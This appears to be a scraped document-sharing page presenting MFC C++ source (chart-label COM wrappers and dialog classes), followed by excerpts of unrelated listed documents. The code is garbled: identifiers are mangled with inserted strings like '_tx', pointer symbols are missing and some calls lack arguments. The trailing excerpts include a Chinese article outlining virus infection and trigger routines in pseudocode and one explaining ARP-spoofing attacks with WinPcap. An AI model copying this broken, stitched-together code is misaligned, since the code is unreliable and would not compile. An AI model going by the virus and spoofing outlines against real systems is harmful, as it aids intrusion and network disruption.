搜档网
当前位置:搜档网 › C源码分析(Kit1175)

C源码分析(Kit1175)

C源码分析(Kit1175)
C源码分析(Kit1175)

C源码分析(Kit1175).doc

void CVcLabel::SetAuto(BOOL bNewValue)

{

static BYTE parms[] =

VTS_txBOOL;

InvokeHelper(0x4, DISPATCH_txPROPERTYPUT, VT_txEMPTY, NULL, parms,

bNewValue);

}

BOOL CVcLabel::GetStanding()

{

BOOL result;

InvokeHelper(0x5, DISPATCH_txPROPERTYGET, VT_txBOOL, (void)&result, NULL);

return result;

}

void CVcLabel::SetStanding(BOOL bNewValue)

{

static BYTE parms[] =

VTS_txBOOL;

InvokeHelper(0x5, DISPATCH_txPROPERTYPUT, VT_txEMPTY, NULL, parms,

}

CVcTextLayout CVcLabel::GetTextLayout()

{

LPDISPATCH pDispatch;

InvokeHelper(0x6, DISPATCH_txPROPERTYGET, VT_txDISPATCH, (void)&pDispatch, NULL);

return CVcTextLayout(pDispatch);

}

short CVcLabel::GetFormatLength()

{

short result;

InvokeHelper(0x7, DISPATCH_txPROPERTYGET, VT_txI2, (void)&result, NULL);

return result;

}

void CVcLabel::SetRefFont(LPDISPATCH newValue)

{

static BYTE parms[] =

VTS_txDISPATCH;

InvokeHelper(0x8, DISPATCH_txPROPERTYPUTREF, VT_txEMPTY, NULL, parms,

}

COleFont CVcLabel::GetFont()

{

LPDISPATCH pDispatch;

InvokeHelper(0x8, DISPATCH_txPROPERTYGET, VT_txDISPATCH, (void)&pDispatch, NULL);

return COleFont(pDispatch);

}

//DlgXSTHINFO.cpp : implementation file

#include "stdafx.h"

#include "a1.h"

#include "DlgXSTHINFO.h"

#ifdef _txDEBUG

#define new DEBUG_txNEW

#undef THIS_txFILE

static char THIS_txFILE[] = _txFILE_tx;

#endif

CDlgXSTHINFO dialog

CDlgXSTHINFO::CDlgXSTHINFO(int field_txnumber,int state,CWnd pParent =NULL)

: CDialog(CDlgXSTHINFO::IDD, pParent)

{

{{AFX_txDATA_txINIT(CDlgXSTHINFO)

NOTE: the ClassWizard will add member initialization here }}AFX_txDATA_txINIT

m_txtabXsth=new CTabXSTH(field_txnumber,state);

}

void CDlgXSTHINFO::DoDataExchange(CDataExchange pDX) {

CDialog::DoDataExchange(pDX);

{{AFX_txDATA_txMAP(CDlgXSTHINFO)

NOTE: the ClassWizard will add DDX and DDV calls here }}AFX_txDATA_txMAP

}

BEGIN_txMESSAGE_txMAP(CDlgXSTHINFO, CDialog) {{AFX_txMSG_txMAP(CDlgXSTHINFO)

}}AFX_txMSG_txMAP

END_txMESSAGE_txMAP()

CDlgXSTHINFO message handlers

void CDlgXSTHINFO::OnOK()

{

TODO: Add extra validation here

this->m_txtabXsth->m_txedits[0].GetWindowText(ph);

int i=m_txtabXsth->m_txlist->GetSelectionMark();

if(this->m_txtabXsth->m_txdataXs.m_txiState!=RK)

{

this->m_txstrdataPh=m_txtabXsth->m_txlist->GetItemText(i,0); this->m_txstrdataId=m_txtabXsth->m_txlist->GetItemText(i,2); this->m_txstrdataName=m_txtabXsth->m_txlist->GetItemText(i,3); this->m_txstrdataYsf=m_txtabXsth->m_txlist->GetItemText(i,4); this->m_txstrdataSsf=m_txtabXsth->m_txlist->GetItemText(i,5); this->m_txstrdataWsf=m_txtabXsth->m_txlist->GetItemText(i,6); this->m_txstrdataJsfs=m_txtabXsth->m_txlist->GetItemText(i,12); jq=m_txtabXsth->m_txlist->GetItemText(i,13);

}

else

{

this->m_txstrdataPh=m_txtabXsth->m_txlist->GetItemText(i,0); this->m_txstrdataId=m_txtabXsth->m_txlist->GetItemText(i,1); this->m_txstrdataName=m_txtabXsth->m_txlist->GetItemText(i,2); this->m_txstrdataYsf=m_txtabXsth->m_txlist->GetItemText(i,3); this->m_txstrdataSsf=m_txtabXsth->m_txlist->GetItemText(i,4); this->m_txstrdataWsf=m_txtabXsth->m_txlist->GetItemText(i,5); this->m_txstrdataJsfs=m_txtabXsth->m_txlist->GetItemText(i,11); jq=m_txtabXsth->m_txlist->GetItemText(i,12);

}

CDialog::OnOK();

}

BOOL CDlgXSTHINFO::OnInitDialog()

{

CDialog::OnInitDialog();

TODO: Add extra initialization here

CRect rect;

this->GetClientRect(rect);

rect.top=20;

rect.bottom-=60;

CString str;

this->m_txtabXsth->Create(WS_txCHILD|WS_txVISIBLE|WS_txTABS TOP,rect,this,ID_txTABCTRL_txYAOPIN);

switch(m_txtabXsth->m_txdataXs.m_txiState)

{

case RK:

str="入库查询";

break;

case RKTH:str="入库退货查询";

break;

case XSTH:str="销售退货查询";

break;

}

this->SetWindowText(str);

return TRUE; return TRUE unless you set the focus to a control EXCEPTION: OCX Property Pages should return FALSE

}

BOOL CDlgXSTHINFO::DestroyWindow()

{

return CDialog::DestroyWindow();

}

CDlgXSTHINFO::~CDlgXSTHINFO()

{

delete this->m_txtabXsth;

m_txtabXsth=NULL;

}

// khjb.cpp : implementation file

#include "stdafx.h"

#include "khmanager.h"

#include "khjb.h"

#include "ado.h"

#ifdef _txxpNewDEBUG

#define new DEBUG_txxpNewNEW

#undef THIS_txxpNewFILE

static char THIS_txxpNewFILE[] =

_txxpNew_txxpNewFILE_txxpNew_txxpNew;

#endif

int khjbclnum=0;

int khjbxiugai=0;

khjb dialog

khjb::khjb(CWnd pParent =NULL)

: CDialog(khjb::IDD, pParent)

{

{{AFX_txxpNewDATA_txxpNewINIT(khjb)

}}AFX_txxpNewDATA_txxpNewINIT

}

void khjb::DoDataExchange(CDataExchange pDX)

{

CDialog::DoDataExchange(pDX);

{{AFX_txxpNewDATA_txxpNewMAP(khjb)

DDX_txxpNewControl(pDX, IDC_txxpNewEDIT2, m_txxpNewedit2); DDX_txxpNewControl(pDX, IDC_txxpNewLIST1, m_txxpNewlist);

DDX_txxpNewControl(pDX, IDC_txxpNewEDIT4, m_txxpNewedit4); DDX_txxpNewControl(pDX, IDC_txxpNewEDIT3, m_txxpNewedit3); DDX_txxpNewControl(pDX, IDC_txxpNewEDIT1, m_txxpNewedit1); }}AFX_txxpNewDATA_txxpNewMAP

}

BEGIN_txxpNewMESSAGE_txxpNewMAP(khjb, CDialog) {{AFX_txxpNewMSG_txxpNewMAP(khjb)

ON_txxpNewCOMMAND(ID_txxpNewADD, OnAdd)

ON_txxpNewCOMMAND(ID_txxpNewDELETE, OnDelete)

ON_txxpNewCOMMAND(ID_txxpNewEXIT, OnExit)

ON_txxpNewCOMMAND(ID_txxpNewUPDATE, OnUpdate)

ON_txxpNewCOMMAND(ID_txxpNewSA VE, OnSave)

ON_txxpNewCOMMAND(ID_txxpNewCANCEL, OnCancel)

ON_txxpNewNOTIFY(NM_txxpNewDBLCLK, IDC_txxpNewLIST1, OnDblclkList1)

}}AFX_txxpNewMSG_txxpNewMAP

END_txxpNewMESSAGE_txxpNewMAP()

khjb message handlers

BOOL khjb::OnInitDialog()

{

CDialog::OnInitDialog();

imagelist.Create(32,32,ILC_txxpNewCOLOR32|ILC_txxpNewMASK,0, 0);

imagelist.Add(::LoadIcon(::AfxGetResourceHandle(),MAKEINTRESOU RCE(IDI_txxpNewICON1)));

imagelist.Add(::LoadIcon(::AfxGetResourceHandle(),MAKEINTRESOU RCE(IDI_txxpNewICON2)));

imagelist.Add(::LoadIcon(::AfxGetResourceHandle(),MAKEINTRESOU RCE(IDI_txxpNewICON3)));

imagelist.Add(::LoadIcon(::AfxGetResourceHandle(),MAKEINTRESOU RCE(IDI_txxpNewICON4)));

imagelist.Add(::LoadIcon(::AfxGetResourceHandle(),MAKEINTRESOU RCE(IDI_txxpNewICON5)));

imagelist.Add(::LoadIcon(::AfxGetResourceHandle(),MAKEINTRESOU RCE(IDI_txxpNewICON10)));

CString s;

TCHAR pString;

menu.LoadMenu(IDR_txxpNewlxrxx);

toolbar.EnableAutomation();

toolbar.Create(WS_txxpNewCHILD|WS_txxpNewVISIBLE,CRect(0,0,0 ,0),this,ID_txxpNewTOOLBAR);

toolbar.SetImageList(&imagelist);

int i;

for(i=0;i<8;i++)

{

button[i].dwData=0;

button[i].fsState=TBSTATE_txxpNewENABLED; button[i].fsStyle=TBSTYLE_txxpNewBUTTON; }

button[5].fsStyle=TBSTYLE_txxpNewSEP; button[0].idCommand=ID_txxpNewADD; button[0].iBitmap=0;

button[1].idCommand=ID_txxpNewUPDATE; button[1].iBitmap=1;

button[2].idCommand=ID_txxpNewDELETE; button[2].iBitmap=2;

button[3].idCommand=ID_txxpNewSA VE; button[3].iBitmap=3;

button[4].idCommand=ID_txxpNewCANCEL; button[4].iBitmap=4;

button[6].idCommand=ID_txxpNewEXIT; button[6].iBitmap=5;

for(i=0;i<8;i++)

{

s.LoadString(i+IDS_txxpNew21);

int nStringLength= s.GetLength() + 1;

pString = s.GetBufferSetLength(nStringLength);

button[i].iString =toolbar.AddStrings(pString);

s.ReleaseBuffer();

}

toolbar.AddButtons(7,button);

toolbar.AutoSize();

toolbar.SetStyle(TBSTYLE_txxpNewFLAT|CCS_txxpNewTOP); toolbar.EnableButton(ID_txxpNewSA VE,false);

toolbar.EnableButton(ID_txxpNewCANCEL,false);

m_txxpNewlist.ModifyStyle(0L,LVS_txxpNewREPORT);

m_txxpNewlist.ModifyStyle(0L,LVS_txxpNewSINGLESEL);

m_txxpNewlist.ModifyStyle(0L,LVS_txxpNewSHOWSELALWAYS); m_txxpNewlist.ModifyStyle(0L,LVS_txxpNewNOSORTHEADER);

m_txxpNewlist.SetExtendedStyle(LVS_txxpNewEX_txxpNewGRIDLIN ES|

LVS_txxpNewEX_txxpNewFULLROWSELECT|

LVS_txxpNewEX_txxpNewHEADERDRAGDROP|

LVS_txxpNewEX_txxpNewONECLICKACTIV ATE);

m_txxpNewlist.InsertColumn(0,"客户级别编号");

m_txxpNewlist.InsertColumn(1,"客户级别名称");

m_txxpNewlist.InsertColumn(2,"该级别的任务量");

m_txxpNewlist.InsertColumn(3,"备注信息");

m_txxpNewlist.SetColumnWidth(0,100);

m_txxpNewlist.SetColumnWidth(1,100);

m_txxpNewlist.SetColumnWidth(2,100);

m_txxpNewlist.SetColumnWidth(3,100);

this->loadlist();

this->enbalewin(false);

this->datatotext();

this->texttowin();

return TRUE;

// return TRUE unless you set the focus to a control

// EXCEPTION: OCX Property Pages should return FALSE }

Android Hotfix 新方案——Amigo 源码解读

Android Hotfix 新方案——Amigo 源码解读 首先我们先来看看如何使用这个库。 用法 在project 的build.gradle中 dependencies { classpath 'me.ele:amigo:0.0.3' } 在module 的build.gradle中 apply plugin: 'me.ele.amigo' 就这样轻松的集成了Amigo。 生效补丁包 补丁包生效有两种方式可以选择: ? 稍后生效补丁包 ? 如果不想立即生效而是用户第二次打开App 时才打入补丁包,则可以将新的Apk 放到/data/data/{your pkg}/files/amigo/demo.apk,第二次打开时就会自动生效。可以通过这个方法 ? File hotfixApk = Amigo.getHotfixApk(context); ?

获取到新的Apk。 同时,你也可以使用Amigo 提供的工具类将你的补丁包拷贝到指定的目录当中。 ? FileUtils.copyFile(yourApkFile, amigoApkFile); ? ? 立即生效补丁包 ? 如果想要补丁包立即生效,调用以下两个方法之一,App 会立即重启, 并且打入补丁包。 ? Amigo.work(context); ? Amigo.work(context, apkFile); ? 删除补丁包 如果需要删除掉已经下好的补丁包,可以通过这个方法 Amigo.clear(context); 提示:如果apk 发生了变化,Amigo 会自动清除之前的apk。 自定义界面 在热修复的过程中会有一些耗时的操作,这些操作会在一个新的进程中的Activity 中执行,所以你可以通过以下方式来自定义这个Activity。

常见的易语言源码大集合

常见易语言源码 使用命令: 写到文件(取运行目录() +“1.skn”, #皮肤) 易皮肤_载入皮肤(取运行目录() +“1.skn”, ) 切记<易皮肤_载入皮肤>要用到(易语言皮肤支持库2.0.rar) (易语言皮肤支持库2.0.rar)路径:F:\易语言\软件\易语言皮肤支持库2[1].0.zip 注意:#皮肤)这个地方的名称一定要和你添加的资源名称一样否则不能使用 加载皮肤(7) 加载Aero特效() 这个一定要加33个皮肤模块 设置窗口透明度的命令: 设置窗口透明度(取窗口句柄(), 200) 注意:运行()EXE文件的就直接输入路径!如果是记事本那么就在前面加一个+文本文档的路径 范例:这个运行文件------.运行(“D:\123.exe”, 假, ) 这个运行文档------运行(“notepad.exe D:\123.txt”, 假, ) DLL注入: https://www.sodocs.net/doc/0f14323106.html,/help/zlsc/dll/dll.htm 编辑框内容不被复制: 鼠标右键被按下 返回(假)

编辑框按下某键() 如果(键代码=#CTRJ键=真) 返回(假) .版本2 .子程序__启动窗口_创建完毕 时钟1.时钟周期=1000 .子程序_时钟1_周期事件 标签1.标题=到文本(到数值(标签1.标题) +1) 进度条: .版本2 .程序集窗口程序集1 .子程序_按钮1_被单击 时钟1.时钟周期=10 .子程序_时钟1_周期事件 进度条1.位置=进度条1.位置+1 .如果真(进度条1.位置=100) 载入(窗口1, , 真) 时钟1.时钟周期=0 进度条1.位置=0 .如果真结束

Android源码下载方法详解

Android: Android源码下载方法详解 分类:Android平台 安卓源码下载地址:https://www.sodocs.net/doc/0f14323106.html,/source/downloading.html 相信很多下载过内核的人都对这个很熟悉 git clone git://https://www.sodocs.net/doc/0f14323106.html,/kernel/common.git kernel 但是这是在以前,现在如果这么执行的话,会显示如下内容 Initialized empty Git repository in /home/star/working/kernel/.git/ https://www.sodocs.net/doc/0f14323106.html,[0: 149.20.4.77]: errno=Connection refused fatal: unable to connect a socket (Connection refused) 通过浏览器输入https://www.sodocs.net/doc/0f14323106.html,/,发现该网站已经被重定向为 https://www.sodocs.net/doc/0f14323106.html,/source/downloading.html 可以在该页面的最后发现内核的下载方法。 下面我们介绍一下Android源码下载的步骤。 工作环境: 操作系统:Ubuntu 10.04 或Ubuntu10.10 git程序:1.7.0.4 或1.7.1 转载请注明出处:https://www.sodocs.net/doc/0f14323106.html,/pku_android 方法一: 1.1 初始化安装环境 参考网页https://www.sodocs.net/doc/0f14323106.html,/source/initializing.html 主要要做的就是安装jdk和安装一些软件包 $ sudo apt-get install git-core gnupg flex bison gperf build-essential \ zip curl zlib1g-dev libc6-dev libncurses5-dev x11proto-core-dev \ libx11-dev libreadline6-dev libgl1-mesa-dev tofrodos python-markdown \ libxml2-utils 如果已经安装了,就不许要这步了 1.2 无论下载内核和源码,都需要进行如下操作 参考网页https://www.sodocs.net/doc/0f14323106.html,/source/downloading.html $ mkdir ~/bin $ PATH=~/bin:$PATH $ curl https://https://www.sodocs.net/doc/0f14323106.html,/dl/googlesource/git-repo/repo > ~/bin/repo 如果出现: repo init error: could not verify the tag 'v1.12.7',

CRC16校验C语言程序源码-(附完整的可执行的C语言代码)

CRC16校验C语言程序源码-(附完整的可执行的C语言代码)

CRC16校验C语言程序源码(附完整的可执行的C语言代码) //CRC16校验在通讯中应用广泛,这里不对其理论进行讨论,只对常见的2种 //实现方法进行测试。 方法一:查表法(256长度的校验表) 速度快,准确,但是对于单片机设备存储占用大,且校验表长度大,输入时容易出现错误。 // ---------------- POPULAR POLYNOMIALS ---------------- // CCITT: x^16 + x^12 + x^5 + x^0 (0x1021) // CRC-16: x^16 + x^15 + x^2 + x^0 (0x8005) #define CRC_16_POLYNOMIALS 0x8005 const BYTE chCRCHTalbe[] = // CRC 高位字节值表 { 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40 }; const BYTE chCRCLTalbe[] = // CRC 低位字节值表 { 0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4, 0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E,

Android源代码结构分析

目录 一、源代码结构 (2) 第一层次目录 (2) bionic目录 (3) bootloader目录 (5) build目录 (7) dalvik目录 (9) development目录 (9) external目录 (13) frameworks目录 (19) Hardware (20) Out (22) Kernel (22) packages目录 (22) prebuilt目录 (27) SDK (28) system目录 (28) Vendor (32)

一、源代码结构 第一层次目录 Google提供的Android包含了原始Android的目标机代码,主机编译工具、仿真环境,代码包经过解压缩后,第一级别的目录和文件如下所示: . |-- Makefile (全局的Makefile) |-- bionic (Bionic含义为仿生,这里面是一些基础的库的源代码) |-- bootloader (引导加载器),我们的是bootable, |-- build (build目录中的内容不是目标所用的代码,而是编译和配置所需要的脚本和工具) |-- dalvik (JAVA虚拟机) |-- development (程序开发所需要的模板和工具) |-- external (目标机器使用的一些库) |-- frameworks (应用程序的框架层) |-- hardware (与硬件相关的库) |-- kernel (Linux2.6的源代码) |-- packages (Android的各种应用程序) |-- prebuilt (Android在各种平台下编译的预置脚本) |-- recovery (与目标的恢复功能相关) `-- system (Android的底层的一些库)

用C语言编写简单的病毒

用C语言编写简单的病毒[转] 2007年08月28日星期二下午 03:39

[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现. [Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0. 一、什么是病毒 恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在畔踩惺呛苤匾 ? 我们要对付病毒,就要了解病毒. 写一些病毒是一个很好的办法. 如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“ 其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。 要编制一个病毒,首先要知道病毒的运行机理。 不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。 在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本 原因。我们可以用一段类C伪码来表示这个过程。 InfectSection() { if (infectable_object_found &&object_not_already_infect) infect_object; } 病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发. 一个简单的触发机制可能是这样工作的: TriggerSection() { if (date_is_Friday_13th_and_time_is_03:13:13) set_trigger_status_to_yes; } 有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以

Android USB 驱动分析

Android USB 驱动分析 一、USB驱动代码架构和使用 1、代码简介 USB驱动代码在/drivers/usb/gadget下,有三个文件:android.c, f_adb.c, f_mass_storage.c;g_android.ko 是由这三个文件编译而来,其中android.c 依赖于 f_adb.c 和 f_mass_storage.c(这两个文件之间无依赖关系)。 可在android.c中看到: static int __init android_bind_config(struct usb_configuration *c) { struct android_dev *dev = _android_dev; int ret; printk(KERN_DEBUG "android_bind_config\n"); ret = mass_storage_function_add(dev->cdev, c, dev->nluns); if (ret) return ret; return adb_function_add(dev->cdev, c); } 2、驱动使用 要使USB mass storage连接到主机: 打开/sys/devices/platform/usb_mass_storage/lun0/file文件,向 file文件写入一个存储 设备的路径,例如/dev/block/vold/179:0 (major:minor)路径; 这里的usb_mass_storage根据实际应用可以改的,由 platform_device_register函数的参数决 定。 例如: static struct platform_device fsg_platform_device = { .name = "usb_mass_storage", .id = -1, }; static void __init tegra_machine_init(void) { .... (void) platform_device_register(&fsg_platform_device); .... }

C语言实现ARP攻击(附源码)

信息安全原理 ——ARP攻击班级:07计算机1班姓名:胡益铭学号:E07620112 ARP原理: ARP,即地址解析协议,实现通过IP地址得知其物理地址。在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把IP 地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。 ARP数据报格式如下: 什么是ARP欺骗: 其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首,是网吧老板和网管员的心腹大患。从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。 本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。 首先从https://www.sodocs.net/doc/0f14323106.html,/archive/下载4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不过最新版本需要64位的系统,本人32位系统用不了。 直接点击4.0beta1-WinPcap.exe安装,然后在C:\Program Files\WinPcap下打开rpcapd.exe 服务。 然后在VC中,Tools→Options→Directories下配置include和library,将4.0beta1-WpdPack 中的include和library库包含进去,本人把4.0beta1-WpdPack放在D盘根目录下,结果如下:

Android 串口编程原理和实现方式附源码

提到串口编程,就不得不提到JNI,不得不提到JavaAPI中的文件描述符类:。下面我分别对JNI、以及串口的一些知识点和实现的源码进行分析说明。这里主要是参考了开源项目android-serialport-api。 串口编程需要了解的基本知识点:对于串口编程,我们只需对串口进行一系列的设置,然后打开串口,这些操作我们可以参考串口调试助手的源码进行学习。在Java中如果要实现串口的读写功能只需操作文件设备类:即可,其他的事都由驱动来完成不用多管!当然,你想了解,那就得看驱动代码了。这里并不打算对驱动进行说明,只初略阐述应用层的实现方式。 (一)JNI: 关于JNI的文章网上有很多,不再多做解释,想详细了解的朋友可以查看云中漫步的技术文章,写得很好,分析也很全面,那么在这篇拙文中我强调3点: 1、如何将编译好的SO文件打包到APK中?(方法很简单,直接在工程目录下新建文件夹libs/armeabi,将SO文件Copy到此目录即可) 2、命名要注意的地方?(在编译好的SO文件中,将文件重命名为:lib即可。其中是编译好后生成的文件) 3、MakeFile文件的编写(不用多说,可以直接参考package/apps目录下用到JNI的相关项目写法) 这是关键的代码: [cpp]view plaincopy

(二):

文件描述符类的实例用作与基础机器有关的某种结构的不透明句柄,该结构表示开放文件、开放套接字或者字节的另一个源或接收者。文件描述符的主要实际用途是创建一个包含该结构的或。这是API的描述,不太好理解,其实可简单的理解为:就是对一个文件进行读写。 (三)实现串口通信细节 1) 建工程:SerialDemo包名:org.winplus.serial,并在工程目录下新建jni和libs两个文件夹和一个org.winplus.serial.utils,如下图: 2) 新建一个类:SerialPortFinder,添加如下代码: [java]view plaincopy 1.package org.winplus.serial.utils; 2. 3.import java.io.File; 4.import java.io.; 5.import java.io.IOException; 6.import java.io.LineNumberReader; 7.import java.util.Iterator; 8.import java.util.Vector; 9. 10.import android.util.Log; 11. 12.public class SerialPortFinder { 13. 14.private static final String TAG = "SerialPort"; 15.

App工程结构搭建:几种常见Android代码架构分析

App工程结构搭建:几种常见Android代码架构分析 关于Android架构,因为手机的限制,目前我觉得也确实没什么大谈特谈的,但是从开发的角度,看到整齐的代码,优美的分层总是一种舒服的享受的。 从艺术的角度看,其实我们是在追求一种美。 本文先分析几个当今比较流行的android软件包,最后我们汲取其中觉得优秀的部分,搭建我们自己的通用android工程模板。 1. 微盘 微盘的架构比较简单,我把最基本,最主干的画了出来: 第一层:com.sina.VDisk:com.sina(公司域名)+app(应用程序名称) 。 第二层:各模块名称(主模块VDiskClient和实体模块entities)第三层:各模块下具体子包,实现类。 从图中我们能得出上述分析中一个最简单最经典的结构,一般在应用程序包下放一些全局的包或者类,如果有多个大的模块,可以分成多个包,其中包括一个主模块。 在主模块中定义基类,比如BaseActivity等,如果主模块下还有子模块,可以在主模块下建立子模块相应的包。说明一点,有的时候如果只有一个主模块,我们完全可以省略掉模

块这一层,就是BaseActivity.java及其子模块直接提至第二层。 在实体模块中,本应该定义且只定义相应的实体类,供全局调用(然而实际情况可能不是这样,后面会说到)。在微盘应用中,几乎所有的实体类是以xxx+info命名的,这种命名也是我赞成的一种命名,从语义上我觉得xxxModel.java这种命名更生动更真实,xxxModel给我一种太机械太死板的感觉,这点完全是个人观点,具体操作中以个人习惯为主。还有一点,在具体的xxxInfo,java中有很多实体类中是没有get/set的方法,而是直接使用public的字段名。这一点,我是推荐这种方式的,特别是在移动开发中,get/set方法很多时候是完全没有必要的,而且是有性能消耗的。当然如果需要对字段设置一定的控制,get/set方法也是可以酌情使用的。 2. 久忆日记 相比于微盘的工程结构,久忆日记的结构稍微复杂了一些。如下图: 1).第一层和前面微盘一样的. 2).第二层则没有模块分类,直接把需要的具体实现类都放在下面,主要日记的一些日记相关的Activity。 3).第二层的实体包命令为model包,里面不仅存放了实体类

一些比较简c语言程序源代码

/**返回的long型的最大值是startLongValue+count-1(产生一个随机数) * param needCount * param count * param startLongValue * return */ public static List randomNoRepeatLongArray(int needCount,int count,long startLongValue){ //这种情况会出现无限循环的 if(needCount>count) return null; Random random = new Random(); int[] ints = new int[count]; for(int i=0;i list = new ArrayList(); while(list.size() #include #include

纯C语言写的一个小型游戏-源代码

/* A simple game*/ /*CopyRight: Guanlin*/ #include #include #include #include #include #include struct object_fix { char name[20]; char id[5]; char desc[500]; char action[30]; char im[5]; }; struct object_move { char name[20]; char id[5]; char desc[500]; int loc; int pwr; int strg; char im[5]; }; struct rover { char name[20]; char id[5]; char desc[500]; int pwr; int strg; int location[2]; char im[5]; }; struct map /* this is the map structure*/ { char data[20]; char add_data[20]; int amount; int x; /* this were the successor keeps it's x & y values*/ int y; }; struct location /*this structure is for the successor lister*/ { float height; char obj;

最全的Android源码目录结构详解

最全的Android源码目录结构详解 Android 2.1 |-- Makefile |-- bionic (bionic C库) |-- bootable (启动引导相关代码) |-- build (存放系统编译规则及generic等基础开发包配置) |-- cts (Android兼容性测试套件标准) |-- dalvik (dalvik JAVA虚拟机) |-- development (应用程序开发相关) |-- external (android使用的一些开源的模组) |-- frameworks (核心框架——java及C++语言) |-- hardware (部分厂家开源的硬解适配层HAL代码) |-- out (编译完成后的代码输出与此目录) |-- packages (应用程序包) |-- prebuilt (x86和arm架构下预编译的一些资源) |-- sdk (sdk及模拟器) |-- system (底层文件系统库、应用及组件——C语言) `-- vendor (厂商定制代码) bionic 目录 |-- libc (C库) | |-- arch-arm (ARM架构,包含系统调用汇编实现) | |-- arch-x86 (x86架构,包含系统调用汇编实现) | |-- bionic (由C实现的功能,架构无关) | |-- docs (文档) | |-- include (头文件) | |-- inet (?inet相关,具体作用不明) | |-- kernel (Linux内核中的一些头文件) | |-- netbsd (?nesbsd系统相关,具体作用不明) | |-- private (?一些私有的头文件) | |-- stdio (stdio实现) | |-- stdlib (stdlib实现) | |-- string (string函数实现) | |-- tools (几个工具) | |-- tzcode (时区相关代码) | |-- unistd (unistd实现) | `-- zoneinfo (时区信息) |-- libdl (libdl实现,dl是动态链接,提供访问动态链接库的功能)|-- libm (libm数学库的实现,) | |-- alpha (apaha架构) | |-- amd64 